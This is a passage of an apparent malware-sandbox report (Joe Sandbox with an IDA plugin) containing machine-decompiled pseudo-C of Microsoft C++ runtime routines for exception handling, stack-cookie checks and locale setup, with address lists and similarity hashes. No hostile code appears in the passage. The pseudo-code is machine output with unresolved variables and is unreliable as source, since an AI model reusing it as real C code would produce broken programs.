											E004146B3(_t270, _t301, _t315, __eflags);
											_t275 =  &_v64;
											E004173F9( &_v64);
											E00414B7B( &_v64, 0x441b8c);
											L64:
											 *(E004169EE(_t270, _t275, _t296, _t301, _t315) + 0x10) = _t270;
											_t231 = E004169EE(_t270, _t275, _t296, _t301, _t315);
											_t275 = _v8;
											 *(_t231 + 0x14) = _v8;
											__eflags = _t315;
											if(_t315 == 0) {
												_t315 = _a8;
											}
											E0041446E(_t275, _t315, _t270);
											E00417688(_a8, _a16, _t301);
											_t234 = E00417845(_t301);
											_t332 = _t332 + 0x10;
											_push(_t234);
											E004175FF(_t270, _t275, _t296, _t301, _t315, __eflags);
											goto L67;
										}
									}
								}
							}
						}
					}
				}
			}

0x00416d6a
0x00416d71
0x00416d73
0x00416d7c
0x00416d82
0x00416d8a
0x00416d8c
0x00416d8f
0x00416d95
0x00417109
0x00417109
0x0041710e
0x00417110
0x00417112
0x00417115
0x00417116
0x00417119
0x0041711f
0x0041723e
0x00417125
0x00417127
0x0041712e
0x00417131
0x00417134
0x0041713a
0x0041713c
0x00417141
0x00417144
0x00417146
0x0041714c
0x0041714e
0x00417154
0x00417169
0x0041716e
0x00417171
0x00417173
0x0041723a
0x00000000
0x0041723b
0x00417173
0x00417154
0x0041714c
0x00417144
0x00417179
0x0041717c
0x0041717f
0x00417182
0x00417185
0x0041718b
0x0041719d
0x004171a2
0x004171a5
0x004171a8
0x004171ab
0x004171ae
0x004171b1
0x004171b4
0x00000000
0x00000000
0x004171ba
0x004171ba
0x004171bd
0x004171c0
0x004171cf
0x004171d0
0x004171d0
0x004171d2
0x004171d5
0x00000000
0x00000000
0x004171d7
0x004171da
0x00000000
0x00000000
0x004171e8
0x004171ea
0x004171ed
0x004171ef
0x004171f7
0x004171f7
0x004171fa
0x004171fc
0x004171fe
0x0041721a
0x0041721f
0x00417222
0x00417222
0x00000000
0x004171fa
0x004171f1
0x004171f5
0x00000000
0x00000000
0x00000000
0x00417225
0x00417228
0x00417229
0x0041722c
0x0041722f
0x00417232
0x00417235
0x00417235
0x00000000
0x004171c0
0x0041723f
0x00417244
0x00417245
0x00417248
0x0041724b
0x0041724c
0x0041724d
0x0041724e
0x00417251
0x00417253
0x004172cb
0x004172cd
0x004172cd
0x00417255
0x00417255
0x00417258
0x0041725b
0x00000000
0x0041725d
0x0041725d
0x00417260
0x00417263
0x0041726a
0x0041726a
0x0041726d
0x0041726f
0x00417271
0x004172a3
0x004172a3
0x004172a6
0x004172ad
0x004172ad
0x004172b0
0x004172b3
0x004172ba
0x004172ba
0x004172bd
0x004172c4
0x004172c6
0x004172c6
0x004172bf
0x004172bf
0x004172c2
0x00000000
0x00000000
0x004172c2
0x004172b5
0x004172b5
0x004172b8
0x00000000
0x00000000
0x004172b8
0x004172a8
0x004172a8
0x004172ab
0x00000000
0x00000000
0x004172ab
0x004172c7
0x00417273
0x00417273
0x00417276
0x00417276
0x00417278
0x0041727a
0x00000000
0x00000000
0x0041727c
0x0041727e
0x00417292
0x00417292
0x00417280
0x00417280
0x00417283
0x00417286
0x00000000
0x00417288
0x00417288
0x0041728b
0x0041728e
0x00417290
0x00000000
0x00000000
0x00000000
0x00000000
0x00417290
0x00417286
0x0041729b
0x0041729b
0x0041729d
0x00000000
0x0041729f
0x0041729f
0x0041729f
0x00000000
0x0041729d
0x00417296
0x00417298
0x00417298
0x00000000
0x00417298
0x00417265
0x00417265
0x00417268
0x00000000
0x00000000
0x00000000
0x00000000
0x00417268
0x00417263
0x0041725b
0x004172ce
0x004172d2
0x004172d2
0x00416da4
0x00416da4
0x00416dad
0x00416eaa
0x00416eaa
0x00416ead
0x00000000
0x00416ddc
0x00416ddc
0x00416de1
0x00000000
0x00416de7
0x00416de7
0x00416def
0x004170a3
0x004170a7
0x00416df5
0x00416dfa
0x00416dfd
0x00416e02
0x00416e09
0x00416e0e
0x00000000
0x00416e46
0x00416e4e
0x00416eb2
0x00416eb2
0x00416eb5
0x00416eb8
0x00416eba
0x00416ebd
0x00416ec0
0x00416ec6
0x00417072
0x00417072
0x00417075
0x00000000
0x00417077
0x00417077
0x0041707a
0x00000000
0x00417080
0x00417080
0x00417083
0x00417086
0x00417087
0x00417088
0x0041708b
0x0041708c
0x0041708f
0x00417090
0x00417095
0x00000000
0x00417095
0x0041707a
0x00416ecc
0x00416ecc
0x00416ed0
0x00000000
0x00416ed6
0x00416ed6
0x00416edd
0x00416ef5
0x00416ef5
0x00416ef8
0x00416efb
0x00416f01
0x00416f11
0x00416f16
0x00416f19
0x00416f1c
0x00416f1f
0x00416f22
0x00416f25
0x00416f28
0x00416f2e
0x00416f2e
0x00416f31
0x00416f34
0x00416f43
0x00416f44
0x00416f44
0x00416f46
0x00416f49
0x00416f4f
0x00416f52
0x00416f58
0x00416f5a
0x00416f5d
0x00416f60
0x00416f66
0x00416f69
0x00416f6e
0x00416f6e
0x00416f71
0x00416f74
0x00416f77
0x00416f7a
0x00416f7d
0x00416f82
0x00416f83
0x00416f84
0x00416f85
0x00416f86
0x00416f89
0x00416f8c
0x00416f8e
0x00000000
0x00416f90
0x00416f90
0x00416f90
0x00416f91
0x00416f93
0x00416f96
0x00416f97
0x00416f9c
0x00416f9f
0x00416fa1
0x00000000
0x00000000
0x00416fa3
0x00416fa6
0x00416fa7
0x00416faa
0x00416fac
0x00000000
0x00416fae
0x00416fae
0x00416fb1
0x00000000
0x00416fb1
0x00000000
0x00416fac
0x00416fc5
0x00416fcb
0x00416fe8
0x00416fed
0x00416fed
0x00416ff0
0x00416ff0
0x00000000
0x00416fb4
0x00416fb4
0x00416fb5
0x00416fb8
0x00416fbb
0x00416fbe
0x00416fbe
0x00000000
0x00416fc3
0x00416f60
0x00416f52
0x00416ff3
0x00416ff6
0x00416ff7
0x00416ffa
0x00416ffd
0x00417000
0x00417003
0x00417003
0x0041700c
0x0041700f
0x0041700f
0x00416f28
0x00417012
0x00417016
0x00417018
0x0041701b
0x00417021
0x00417021
0x00417029
0x0041702e
0x00417098
0x00417098
0x0041709d
0x004170a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00417030
0x00417033
0x00417036
0x0041703a
0x00417048
0x0041704a
0x00417061
0x00417065
0x0041706b
0x0041706c
0x0041706e
0x00000000
0x00417070
0x00000000
0x00417070
0x00000000
0x00000000
0x00000000
0x0041703c
0x0041703c
0x0041703e
0x00000000
0x00417040
0x00417040
0x00417044
0x00000000
0x00417046
0x0041704c
0x00417051
0x00417054
0x00417059
0x0041705c
0x00000000
0x0041705c
0x00417044
0x0041703e
0x0041703a
0x00416edf
0x00416edf
0x00416ee6
0x00000000
0x00416ee8
0x00416ee8
0x00416eef
0x00000000
0x00000000
0x00000000
0x00000000
0x00416eef
0x00416ee6
0x00416edd
0x00416ed0
0x00416e50
0x00416e58
0x00416e5b
0x00416e60
0x00416e64
0x00416e67
0x00416e6d
0x00416e70
0x00000000
0x00416e72
0x00416e72
0x00416e75
0x00416e77
0x004170a8
0x004170a8
0x00000000
0x00416e7d
0x00416e85
0x00416e90
0x00000000
0x00000000
0x00416e99
0x00416e9c
0x00416e9d
0x00416ea0
0x00416ea2
0x00000000
0x00416ea8
0x00000000
0x00416ea8
0x00000000
0x00416ea2
0x00416e7d
0x004170ad
0x004170ad
0x004170af
0x004170b0
0x004170b7
0x004170ba
0x004170c8
0x004170cd
0x004170d2
0x004170d5
0x004170da
0x004170dd
0x004170e0
0x004170e2
0x004170e4
0x004170e4
0x004170e9
0x004170f5
0x004170fb
0x00417100
0x00417103
0x00417104
0x00000000
0x00417104
0x00416e70
0x00416e4e
0x00416e0e
0x00416def
0x00416de1
0x00416dad

APIs

type_info::operator==.LIBVCRUNTIME ref: 00416E89
___TypeMatch.LIBVCRUNTIME ref: 00416F97
_UnwindNestedFrames.LIBCMT ref: 004170E9
CallUnexpected.LIBVCRUNTIME ref: 00417104

Strings

csm, xrefs: 00416E14
csm, xrefs: 00416EC0
csm, xrefs: 00416DA7

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 318b65572e5b20ef664c6f281c360e51d1affc593d55bd890a21b263122f1374
Instruction ID: 455451be4c744c07c9f1c348f90df5655159583fb695b03a0c52ad18e5ab1787
Opcode Fuzzy Hash: 318b65572e5b20ef664c6f281c360e51d1affc593d55bd890a21b263122f1374
Instruction Fuzzy Hash: B9B18772904209EFCF25DFA5C8819EFBBB5BF08314B15415BE8156B302D339DA91CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004148C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E004148C0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t68;
				intOrPtr* _t72;
				intOrPtr _t73;
				signed int _t77;
				char _t79;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr* _t94;
				void* _t98;
				void* _t100;
				void* _t107;

				_t85 = __edx;
				_t72 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t72 = E004312F7(__ecx,  *_t72);
				_t73 = _a8;
				_t6 = _t73 + 0x10; // 0x11
				_t92 = _t6;
				_push(_t92);
				_v20 = _t92;
				_v12 =  *(_t73 + 8) ^  *0x443048;
				E00414880(_t73, __edx, __edi, _t92,  *(_t73 + 8) ^  *0x443048);
				E0041789C(_a12);
				_t52 = _a4;
				_t100 = _t98 - 0x1c + 0x10;
				_t89 =  *((intOrPtr*)(_t73 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t89 - 0xfffffffe;
					if(_t89 != 0xfffffffe) {
						_t85 = 0xfffffffe;
						E00417A20(_t73, 0xfffffffe, _t92, 0x443048);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t73 - 4)) =  &_v32;
					if(_t89 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t77 = _v12;
							_t59 = _t89 + (_t89 + 2) * 2;
							_t73 =  *((intOrPtr*)(_t77 + _t59 * 4));
							_t60 = _t77 + _t59 * 4;
							_t78 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t79 = _v5;
								goto L7;
							} else {
								_t85 = _t92;
								_t61 = E004179C0(_t78, _t92);
								_t79 = 1;
								_v5 = 1;
								_t107 = _t61;
								if(_t107 < 0) {
									_v16 = 0;
									L13:
									_push(_t92);
									E00414880(_t73, _t85, _t89, _t92, _v12);
									goto L14;
								} else {
									if(_t107 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0x4346b0;
											if(__eflags != 0) {
												_t68 = E00430D10(__eflags, 0x4346b0);
												_t100 = _t100 + 4;
												__eflags = _t68;
												if(_t68 != 0) {
													_t94 =  *0x4346b0; // 0x4146b3
													 *0x4331a4(_a4, 1);
													 *_t94();
													_t92 = _v20;
													_t100 = _t100 + 8;
												}
												_t62 = _a4;
											}
										}
										_t86 = _t62;
										E00417A00(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t89;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t89) {
											_t86 = _t89;
											E00417A20(_t64, _t89, _t92, 0x443048);
											_t64 = _a8;
										}
										_push(_t92);
										 *((intOrPtr*)(_t64 + 0xc)) = _t73;
										E00414880(_t73, _t86, _t89, _t92, _v12);
										E004179E0();
										asm("int3");
										_t66 =  *0x4447d0; // 0x0
										return _t66;
									} else {
										goto L7;
									}
								}
							}
							goto L24;
							L7:
							_t89 = _t73;
						} while (_t73 != 0xfffffffe);
						if(_t79 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L24:
			}

0x004148c0
0x004148c7
0x004148cb
0x004148cc
0x004148d2
0x004148de
0x004148e0
0x004148e6
0x004148e6
0x004148ef
0x004148f1
0x004148f4
0x004148f7
0x004148ff
0x00414904
0x00414907
0x0041490a
0x00414911
0x0041496d
0x00414970
0x00414978
0x0041497f
0x00000000
0x0041497f
0x00000000
0x00414913
0x00414913
0x00414919
0x0041491f
0x00414925
0x00414990
0x00414999
0x00414927
0x00414927
0x00414927
0x0041492d
0x00414930
0x00414933
0x00414936
0x00414939
0x0041493e
0x00414954
0x00000000
0x00414940
0x00414940
0x00414942
0x00414947
0x00414949
0x0041494c
0x0041494e
0x00414964
0x00414984
0x00414984
0x00414988
0x00000000
0x00414950
0x00414950
0x0041499a
0x0041499d
0x004149a3
0x004149a5
0x004149ac
0x004149b3
0x004149b8
0x004149bb
0x004149bd
0x004149bf
0x004149cc
0x004149d2
0x004149d4
0x004149d7
0x004149d7
0x004149da
0x004149da
0x004149ac
0x004149e0
0x004149e2
0x004149e7
0x004149ea
0x004149ed
0x004149f5
0x004149f9
0x004149fe
0x004149fe
0x00414a01
0x00414a05
0x00414a08
0x00414a18
0x00414a1d
0x00414a1e
0x00414a24
0x00414952
0x00000000
0x00414952
0x00414950
0x0041494e
0x00000000
0x00414957
0x00414957
0x00414959
0x00414960
0x00000000
0x00414962
0x00000000
0x00414960
0x00414925
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 004148F7
___except_validate_context_record.LIBVCRUNTIME ref: 004148FF
_ValidateLocalCookies.LIBCMT ref: 00414988
__IsNonwritableInCurrentImage.LIBCMT ref: 004149B3
_ValidateLocalCookies.LIBCMT ref: 00414A08

Strings

0'@, xrefs: 004149CC
csm, xrefs: 0041499D

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 0'@$csm
API String ID: 1170836740-4075550888
Opcode ID: 37ee35bdfcf69a5a67e8760e9b0949c12f64935090aec567b214218e131f2c08
Instruction ID: 58811f3bd87834736161466f5a39b72313ca76df223ce2887cb75226c9d9a6a3
Opcode Fuzzy Hash: 37ee35bdfcf69a5a67e8760e9b0949c12f64935090aec567b214218e131f2c08
Instruction Fuzzy Hash: 3F411974A102099BCF10DF69C841ADFBFB5AF85328F14816BE8145B352D739EA85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBE0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040BBE0(void* __ebx, intOrPtr __edx, void* __edi, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				short _v40;
				signed int _v44;
				short _v48;
				signed int _v52;
				char _v56;
				signed int _v60;
				char _v64;
				signed int _v68;
				char _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				char _v100;
				signed int _v116;
				void* __esi;
				void* __ebp;
				signed int _t57;
				signed int _t68;
				intOrPtr _t87;
				intOrPtr* _t99;
				signed int* _t103;
				signed int _t106;
				intOrPtr _t108;
				void* _t109;
				signed int _t111;
				intOrPtr* _t114;
				intOrPtr _t117;
				intOrPtr* _t119;
				signed int* _t120;
				signed int _t122;
				signed int _t125;
				signed int _t129;
				void* _t130;
				void* _t132;

				_t110 = __edx;
				_t125 = _t129;
				_push(0xffffffff);
				_push(0x4322c5);
				_push( *[fs:0x0]);
				_t130 = _t129 - 0x54;
				_push(__ebx);
				_push(__edi);
				_t57 =  *0x443048; // 0x7239e5fc
				_push(_t57 ^ _t125);
				 *[fs:0x0] =  &_v16;
				_t114 = _a4;
				_t117 = _a8;
				_v20 = 0;
				if(_t114 == 0) {
					L21:
					 *[fs:0x0] = _v16;
					return 1;
				} else {
					_t138 =  *_t114;
					if( *_t114 != 0) {
						goto L21;
					} else {
						_t99 = E0041362C(__ebx, _t114, _t117, _t138, 0x10);
						_t132 = _t130 + 4;
						_v76 = _t99;
						_v8 = 0;
						_t119 = E00409760(_t99, _t117, _t114,  &_v100);
						_v20 = 1;
						if( *((intOrPtr*)(_t119 + 0x14)) >= 0x10) {
							_t119 =  *_t119;
						}
						_t103 =  &_v72;
						E0041247D(_t103, 0);
						_v8 = 2;
						_v68 = 0;
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v8 = 8;
						_t140 = _t119;
						if(_t119 == 0) {
							E00412430("bad locale name");
							goto L23;
						} else {
							E00412760(_t103,  &_v72, _t119);
							 *(_t99 + 4) = 0;
							 *_t99 = 0x4345e8;
							 *((intOrPtr*)(_t99 + 8)) = E00412DDA(_t99, _t114, _t140);
							 *((intOrPtr*)(_t99 + 0xc)) = _t110;
							 *_t114 = _t99;
							_v20 = 1;
							_v8 = 0xa;
							E004127AB(_t103,  &_v72);
							_t80 = _v28;
							_t132 = _t132 + 0xc;
							if(_v28 != 0) {
								E0041AC1E(_t80);
								_t132 = _t132 + 4;
							}
							_t81 = _v36;
							_v28 = 0;
							if(_v36 != 0) {
								E0041AC1E(_t81);
								_t132 = _t132 + 4;
							}
							_t82 = _v44;
							_v36 = 0;
							if(_v44 != 0) {
								E0041AC1E(_t82);
								_t132 = _t132 + 4;
							}
							_t83 = _v52;
							_v44 = 0;
							if(_v52 != 0) {
								E0041AC1E(_t83);
								_t132 = _t132 + 4;
							}
							_t84 = _v60;
							_v52 = 0;
							if(_v60 != 0) {
								E0041AC1E(_t84);
								_t132 = _t132 + 4;
							}
							_t85 = _v68;
							_v60 = 0;
							if(_v68 != 0) {
								E0041AC1E(_t85);
								_t132 = _t132 + 4;
							}
							_v68 = 0;
							E004124D5( &_v72);
							_t108 = _v80;
							if(_t108 < 0x10) {
								goto L21;
							} else {
								_t112 = _v100;
								_t109 = _t108 + 1;
								_t87 = _v100;
								if(_t109 < 0x1000) {
									L20:
									_push(_t109);
									E004138AD(_t112);
									goto L21;
								} else {
									_t110 =  *((intOrPtr*)(_t87 - 4));
									_t103 = _t109 + 0x23;
									if(_t87 -  *((intOrPtr*)(_t87 - 4)) + 0xfffffffc > 0x1f) {
										L23:
										E0041805F(_t99, _t103, _t110);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t119);
										_t120 = _t103;
										_t68 =  *_t120;
										__eflags = _t68;
										if(_t68 == 0) {
											L29:
											return _t68;
										} else {
											_t106 = _t120[2] - _t68 & 0xfffffffc;
											__eflags = _t106 - 0x1000;
											if(_t106 < 0x1000) {
												L28:
												_push(_t106);
												_t68 = E004138AD(_t68);
												 *_t120 = 0;
												_t120[1] = 0;
												_t120[2] = 0;
												goto L29;
											} else {
												_t111 =  *(_t68 - 4);
												_t106 = _t106 + 0x23;
												__eflags = _t68 - _t111 + 0xfffffffc - 0x1f;
												if(_t68 - _t111 + 0xfffffffc > 0x1f) {
													E0041805F(_t99, _t106, _t111);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t125);
													_push(_t120);
													_t122 = _t106;
													 *_t122 = 0x4345e8;
													E0041AC1E( *((intOrPtr*)(_t122 + 0xc)));
													 *_t122 = 0x4337e4;
													__eflags = _v116 & 0x00000001;
													if((_v116 & 0x00000001) != 0) {
														_push(0x10);
														E004138AD(_t122);
													}
													return _t122;
												} else {
													_t68 = _t111;
													goto L28;
												}
											}
										}
									} else {
										goto L20;
									}
								}
							}
						}
					}
				}
			}

0x0040bbe0
0x0040bbe1
0x0040bbe3
0x0040bbe5
0x0040bbf0
0x0040bbf1
0x0040bbf4
0x0040bbf6
0x0040bbf7
0x0040bbfe
0x0040bc02
0x0040bc08
0x0040bc0b
0x0040bc0e
0x0040bc17
0x0040bdab
0x0040bdb3
0x0040bdc1
0x0040bc1d
0x0040bc1d
0x0040bc20
0x00000000
0x0040bc26
0x0040bc2d
0x0040bc2f
0x0040bc32
0x0040bc38
0x0040bc47
0x0040bc4d
0x0040bc54
0x0040bc56
0x0040bc56
0x0040bc5a
0x0040bc5d
0x0040bc62
0x0040bc69
0x0040bc70
0x0040bc74
0x0040bc7b
0x0040bc81
0x0040bc88
0x0040bc8c
0x0040bc8f
0x0040bc93
0x0040bc96
0x0040bc99
0x0040bc9c
0x0040bc9f
0x0040bca3
0x0040bca5
0x0040bdc7
0x00000000
0x0040bcab
0x0040bcb0
0x0040bcb5
0x0040bcbc
0x0040bcc7
0x0040bcca
0x0040bccd
0x0040bccf
0x0040bcd9
0x0040bce1
0x0040bce6
0x0040bce9
0x0040bcee
0x0040bcf1
0x0040bcf6
0x0040bcf6
0x0040bcf9
0x0040bcfc
0x0040bd05
0x0040bd08
0x0040bd0d
0x0040bd0d
0x0040bd10
0x0040bd13
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd24
0x0040bd27
0x0040bd2a
0x0040bd33
0x0040bd36
0x0040bd3b
0x0040bd3b
0x0040bd3e
0x0040bd41
0x0040bd4a
0x0040bd4d
0x0040bd52
0x0040bd52
0x0040bd55
0x0040bd58
0x0040bd61
0x0040bd64
0x0040bd69
0x0040bd69
0x0040bd6f
0x0040bd76
0x0040bd7b
0x0040bd81
0x00000000
0x0040bd83
0x0040bd83
0x0040bd86
0x0040bd87
0x0040bd8f
0x0040bda1
0x0040bda1
0x0040bda3
0x00000000
0x0040bd91
0x0040bd91
0x0040bd94
0x0040bd9f
0x0040bdcc
0x0040bdcc
0x0040bdd1
0x0040bdd2
0x0040bdd3
0x0040bdd4
0x0040bdd5
0x0040bdd6
0x0040bdd7
0x0040bdd8
0x0040bdd9
0x0040bdda
0x0040bddb
0x0040bddc
0x0040bddd
0x0040bdde
0x0040bddf
0x0040bde0
0x0040bde1
0x0040bde3
0x0040bde5
0x0040bde7
0x0040be29
0x0040be2a
0x0040bde9
0x0040bdee
0x0040bdf1
0x0040bdf7
0x0040be0b
0x0040be0b
0x0040be0d
0x0040be12
0x0040be1b
0x0040be22
0x00000000
0x0040bdf9
0x0040bdf9
0x0040bdfc
0x0040be04
0x0040be07
0x0040be2b
0x0040be30
0x0040be31
0x0040be32
0x0040be33
0x0040be34
0x0040be35
0x0040be36
0x0040be37
0x0040be38
0x0040be39
0x0040be3a
0x0040be3b
0x0040be3c
0x0040be3d
0x0040be3e
0x0040be3f
0x0040be40
0x0040be43
0x0040be44
0x0040be49
0x0040be4f
0x0040be57
0x0040be5d
0x0040be61
0x0040be63
0x0040be66
0x0040be6b
0x0040be72
0x0040be09
0x0040be09
0x00000000
0x0040be09
0x0040be07
0x0040bdf7
0x00000000
0x00000000
0x00000000
0x0040bd9f
0x0040bd8f
0x0040bd81
0x0040bca5
0x0040bc20

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040BC5D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040BCB0
__Getcoll.LIBCPMT ref: 0040BCC2
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040BCE1
std::_Lockit::~_Lockit.LIBCPMT ref: 0040BD76

Strings

bad locale name, xrefs: 0040BDC2

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$GetcollLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1629477862-1405518554
Opcode ID: 44ab8008e035c0ac2b3f91d3b9bc5baf5803db0be0de800143d3f33e59eeaf2b
Instruction ID: 97fe08cfb2a8f7b7a91d7429fb5f2b0e82c167ee0af6e40b762417834b2648ba
Opcode Fuzzy Hash: 44ab8008e035c0ac2b3f91d3b9bc5baf5803db0be0de800143d3f33e59eeaf2b
Instruction Fuzzy Hash: C7618DB19012089BEB10DFA5D9497DEFBB4EF04314F14452EE905E7381E7BC9A84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B260 Relevance: 10.6, APIs: 7, Instructions: 128
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040B260(void* __ebx, signed int* __ecx, void* __edx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				char _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int* _v44;
				signed int* _v48;
				void* __edi;
				signed int _t42;
				signed int _t43;
				signed int* _t46;
				signed int _t48;
				void* _t54;
				signed int _t55;
				signed int* _t56;
				void* _t61;
				signed int _t66;
				signed int _t67;
				intOrPtr _t69;
				signed int _t70;
				intOrPtr _t71;
				void* _t72;
				signed int* _t75;
				signed int _t82;
				void* _t86;
				void* _t87;
				signed int _t88;
				signed int* _t89;
				void* _t90;
				signed int* _t91;
				signed int _t95;
				void* _t96;
				signed int _t97;
				signed int _t102;
				void* _t104;
				void* _t107;
				void* _t110;

				_t86 = __edx;
				_t100 = _t102;
				_push(0xffffffff);
				_push(0x4320f0);
				_push( *[fs:0x0]);
				_t42 =  *0x443048; // 0x7239e5fc
				_t43 = _t42 ^ _t102;
				_v20 = _t43;
				_push(__ebx);
				_push(__esi);
				_push(_t87);
				_push(_t43);
				 *[fs:0x0] =  &_v16;
				_t45 = __ecx;
				_v44 = __ecx;
				_v28 = __ecx;
				_t5 = _t45 + 8; // 0x8
				_t69 = _t5;
				_v48 = __ecx;
				_v36 = _t69;
				_push(1);
				_v8 = 0;
				_t46 = E00412660(_t69, _t87, __esi, __eflags);
				_t104 = _t102 - 0x20 + 4;
				 *(_t69 + 4) = _t46;
				_v8 = 1;
				E0041247D( &_v28, 0);
				_v8 = 2;
				_t48 =  *0x444f58; // 0x0
				_t88 =  *0x444fd4; // 0x0
				_v24 = _t48;
				_v40 = _t48;
				if(_t88 == 0) {
					E0041247D( &_v32, _t88);
					_t110 =  *0x444fd4 - _t88; // 0x0
					if(_t110 == 0) {
						_t66 =  *0x444310; // 0x2
						_t67 = _t66 + 1;
						 *0x444310 = _t67;
						 *0x444fd4 = _t67;
					}
					E004124D5( &_v32);
					_t88 =  *0x444fd4; // 0x0
				}
				_t75 =  *(_t69 + 4);
				_t70 = _t88 * 4;
				if(_t88 >= _t75[3]) {
					_t95 = 0;
					__eflags = 0;
					goto L9;
				} else {
					_t95 =  *(_t70 + _t75[2]);
					if(_t95 == 0) {
						L9:
						__eflags = _t75[5];
						if(_t75[5] == 0) {
							L12:
							__eflags = _t95;
							if(_t95 != 0) {
								goto L6;
							} else {
								goto L13;
							}
						} else {
							_t61 = E0041265A();
							__eflags = _t88 -  *((intOrPtr*)(_t61 + 0xc));
							if(_t88 >=  *((intOrPtr*)(_t61 + 0xc))) {
								L13:
								_t95 = _v24;
								_t71 = _v36;
								__eflags = _t95;
								if(_t95 != 0) {
									goto L7;
								} else {
									_push(_t71);
									_t54 = E0040BBE0(_t71, _t86, _t88,  &_v40);
									_t107 = _t104 + 8;
									__eflags = _t54 - 0xffffffff;
									if(__eflags == 0) {
										_t55 = E00403390();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t88);
										_t91 = _t75;
										__eflags =  *_t91;
										if( *_t91 == 0) {
											L23:
											 *_t91 = 0;
											return _t55;
										} else {
											_t55 = _t55 | 0xffffffff;
											__eflags = _t55;
											asm("lock xadd [ecx+0x20], eax");
											if(_t55 != 0) {
												goto L23;
											} else {
												_push(_t95);
												_t97 =  *_t91;
												__eflags = _t97;
												if(_t97 != 0) {
													asm("o16 nop [eax+eax]");
													do {
														_t82 = _t97;
														_t56 = _t97 + 0xc;
														_t97 =  *_t56;
														 *_t56 = 0;
														_t55 =  *((intOrPtr*)( *_t82))(1);
														__eflags = _t97;
													} while (_t97 != 0);
												}
												 *_t91 = 0;
												return _t55;
											}
										}
									} else {
										_t95 = _v40;
										_v24 = _t95;
										_v8 = 3;
										E0041262E(__eflags, _t95);
										_t104 = _t107 + 4;
										 *((intOrPtr*)( *_t95 + 4))();
										 *0x444f58 = _t95;
										goto L7;
									}
								}
							} else {
								_t95 =  *(_t70 +  *((intOrPtr*)(_t61 + 8)));
								goto L12;
							}
						}
					} else {
						L6:
						_t71 = _v36;
						L7:
						_v8 = 1;
						E004124D5( &_v28);
						_t89 = _v44;
						 *_t89 = _t95;
						_t89[1] = E00408230(_t71, _t71);
						 *[fs:0x0] = _v16;
						_pop(_t90);
						_pop(_t96);
						_pop(_t72);
